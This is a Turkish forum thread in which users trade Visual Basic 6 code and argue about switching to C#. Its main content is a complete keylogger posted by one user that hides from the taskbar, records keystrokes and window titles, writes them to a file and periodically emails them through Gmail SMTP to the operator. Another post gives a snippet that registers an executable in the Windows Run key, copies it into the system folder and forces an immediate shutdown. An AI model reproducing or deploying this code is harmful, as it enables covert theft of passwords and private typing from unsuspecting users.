Örnek Kodlar (ßy_Sky)

[ßy_Sky]

http://www.dosya.tc/files/LpadeJ/Ba_latYaz_s_n_Degi_tirme.rar.html

İçinde Kodlara İyi bakın Sadece Başlat Deyil herşeyi Degiştire bilirsiniz Unutmayın

[orhanc]

Bu işlerle uğraşmak istiyorsan millete göstermek yerine kendini geliştir

[ßy_Sky]

Ben kendimi Çok iyi geliştirdim Visual Basic'de İstedigim herşeyi yapabiliyorum ...
iyi Kotu fark etmez ama yapabiliyorum Daha iyisini'de yaparım merak etme

[orhanc]

sana bir tavsiye vb yi bırak c#a geç

[nuriozdas]

Ömrümü yedi visual basic benim 10 yıldır yazıyorum visual basicte yardım gerek olursa beni bulun.

[nuriozdas]

Dim KayitDefteri As Object
Set KayitDefteri = CreateObject("wscript.shell")
KayitDefteri.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
On Error Resume Next
Dim yol, ad, TamYol
yol = App.Path
ad = App.EXEName & ".exe"
TamYol = yol & "\" & ad
FileCopy TamYol, "C:\Windows\System\saka.exe"
App.TaskVisible = False
Shell ("shutdown -s -t 1")

Bu komutları derleyip çalıştırdığınızda bilgisayar kapanacaktır. Kapanmadan önce ise  Kayıt Defterine 'saka' isimli dosya'nın bilgisardaki konumu kaydedliyor. Bilgisayarı kapatıp açtığınızda bu dosya çalışacaktır. bu bir trojan değilde bir exe'yi Başlangıçta açılan dosyalar listesine kaydeden bir komut deseymissiniz daha doğru olurdu.

[ßy_Sky]

Yaşını Bılmıyorum ama Galiba Benden buyuksun

Niye herkez aynı şeyi soyluyor sana bir tavsiye vb yi bırak c#a geç

herkez aynı şeyi soyluyor Visual basic Bırak C++ Yada Senın soyledigin şey c# Bunları yapan Visual yapar diyorlar

[ßy_Sky]

Alın beyler Kodları iyi bakın Ozelıkler Amatorler

http://www.dosya.tc/files/GyzHJp/_y_SkySource.rar.html

Bu da benım yaptıgım

http://www.upload.gen.tr/d.php/s13/kdvb1dsi/__y.Sky.rar.html  [OZEL BUTUN KEYLOGGER , Trojan Hepsini Bulur WARDOM bile ...

[nuriozdas]

Bana sorsaydın geçme derdim.. öyle bir dile geçmene gerek yok. Zaman geldiğinde terfi ediceksin zaten ama C# Olmasın derim.

Kaç yıldır uğraşıyorsun visual basic 6 ile?

[ßy_Sky]

2 ADET TEXTBOX;
3 ADET TİMER EKLİYORUZ.

Keylogger kodları;
Forma çift tıklayın yada sağ tıklayıp View Code diyin ve herşeyi silin.Verdiğim kodu yapıştırın.

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()

Me.Hide


On Error Resume Next

ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = "="
ChangeChr(49) = "!"
ChangeChr(50) = "'"
ChangeChr(51) = "^"
ChangeChr(52) = "+"
ChangeChr(53) = "%"
ChangeChr(54) = "&"
ChangeChr(55) = "/"
ChangeChr(56) = "("
ChangeChr(57) = ")"

ChangeChr(186) = "ş"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "ö"

ChangeChr(219) = "ğ"
ChangeChr(220) = "ç"
ChangeChr(221) = "ü"
ChangeChr(222) = "i"


ChangeChr(86) = "Ş"
ChangeChr(87) = "+"
ChangeChr(88) = ";"
ChangeChr(89) = "_"
ChangeChr(90) = ":"
ChangeChr(91) = "?"

ChangeChr(119) = "Ğ"
ChangeChr(120) = "Ç"
ChangeChr(121) = "Ü"
ChangeChr(122) = "İ"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = """"
ChangeChr(92) = "é"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If

End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If

End If
Next


';=,-./
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next


'[\]'
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If

End If
Next

'num pad
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow

If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
AltDown = True
Text1 = Text1 & ""
Else
If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & ""
End If
End If

Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next

'for space
If GetAsyncKeyState(32) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for enter
If GetAsyncKeyState(13) = -32767 Then
TypeWindow
Text1 = Text1 & vbCrLf
End If

'for backspace
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
Text1 = Text1 & " "
End If

'for left arrow
If GetAsyncKeyState(37) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for up arrow
If GetAsyncKeyState(38) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for right arrow
If GetAsyncKeyState(39) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'for down arrow
If GetAsyncKeyState(40) = -32767 Then
TypeWindow
Text1 = Text1 & ""
End If

'tab
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & " [Tab] "
End If

'escape
If GetAsyncKeyState(27) = -32767 Then
TypeWindow
Text1 = Text1 & " [Esc] "
End If

'insert, delete
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'page up, page down, end, home
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
End If
Next

'left click
If GetAsyncKeyState(1) = -32767 Then
If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then
Text1 = Text1 & " "
End If
End If

End Sub




Private Sub Timer2_Timer()
On Error Resume Next


Text2.Text = "c:\mrt.txt"
Open Text2.Text For Output As #1
Print #1, Text1.Text;
Close #1
End Sub

[/CODE]

Timer3'e çift tıklayın ve içine verdiğim kodu yapıştırın.Kırmızı ile yazdığım yerleri kendinize göre düzenleyin.

Private Sub Timer3_Timer()
Dim iMsg, iConf, Flds
 
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
 
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "emailiniz" ' gene gmail olması lazım.
Flds.Item(schema & "sendpassword") = "şifreniz"
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
 
With iMsg
.To = "kendimailiniz@gmail.com" 'kendi mailinizi yazın ki loglar size gelsin.Gmail olmak zorunda çünkü smtp ona göre ayarLı.
.From = "Mail Post Server"
.Subject = "Mail konusu" 'kafanıza göre değiştirin keylogger vs.sallayın birşeyler
.HTMLbOdy = Text1.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configuration = iConf
SendEmailGmail = .Send
End With
End Sub

[/CODE] BOMBA GELDİ...
Program gizli olsun ve görev yöneticisinde gözükmesin!

Gizlilik Kodu.Form Load'a

Me.Hide

Görev Yöneticisinde gözükmesin Form Load'a

App.TaskVisible = False

Not:Sadece Uygulamalar kısmında gözükmez.İşlemler kısmında gözükür.
KÖTÜ HABER:App.TaskVisible = False kodunu kullanırsanız Antivirüsler truva atı olarak buluyorlarmış. [/QUOTE]



DİPNOOT : 1-2 Ay evel yazmıştım eger bi hata gorursenız hemen soyleyin fixleyim

[ßy_Sky]

2 yıl oldu sanırsam

[nuriozdas]

Derlemedim komutları ama anlamamak mümkün değil. Doğru bir keylogger olmamış.
Timer nesnelerinin İnterval değerleri ney? hiç birşey doğru değil.
Timer2 nesnesi sürekli çalışıyormu? Timer2 neden sürekli mrt.txt isimli dosyaya kayıt ediyor. Timer2 yi neden başka bir timer nesnesi ile kontrol etmiyorsun bu şekilde bu program doğru çalışmaz bir zaman sonra hata alırsın.

[ßy_Sky]

o txt yi Klavye Bastıgın Tuşları Takip ediyor Ama sana gelmıyor Oylesine koydum Çunku Bunu yapmadan Once başka bi kod ile ugraşıyordum ondan

Hata almazsın gibime geliyor herşey dogru tam ben denedim Lutfen denemeden yorum yazmasan sevirim

[fatihinanc]

C# Olmasın derim.

derken C# ın VB den bir eksiği mi var? veya alternatif olarak daha iyi bir dil mi var?

Dil kıyaslamasına girmek istemiyorum çünkü VB yi kullananlar niçin VB kullandıklarını,
C kullananlar niçin C kullandıklarını biliyorlardır zaten.

bu arada genç arkadaşımızın terfi etmesi önce .NET platformuna geçmesiyle olur.

[nuriozdas]

Timer2 sürekli çalışıyor kontrol etmemişsin. Bir dosyayı Open komutu ile açıp Close ile kapatırsın bu işlemler sürekli bir timer ile gerçekleşirse program bir zaman sonra hata verir benden söylemes.

Bu komut ile 'On Error Resume Next' Engelleyemessin. Timer2'yi başka bir Timer ile kontrol et ve programın çalışma mantığını değiştir.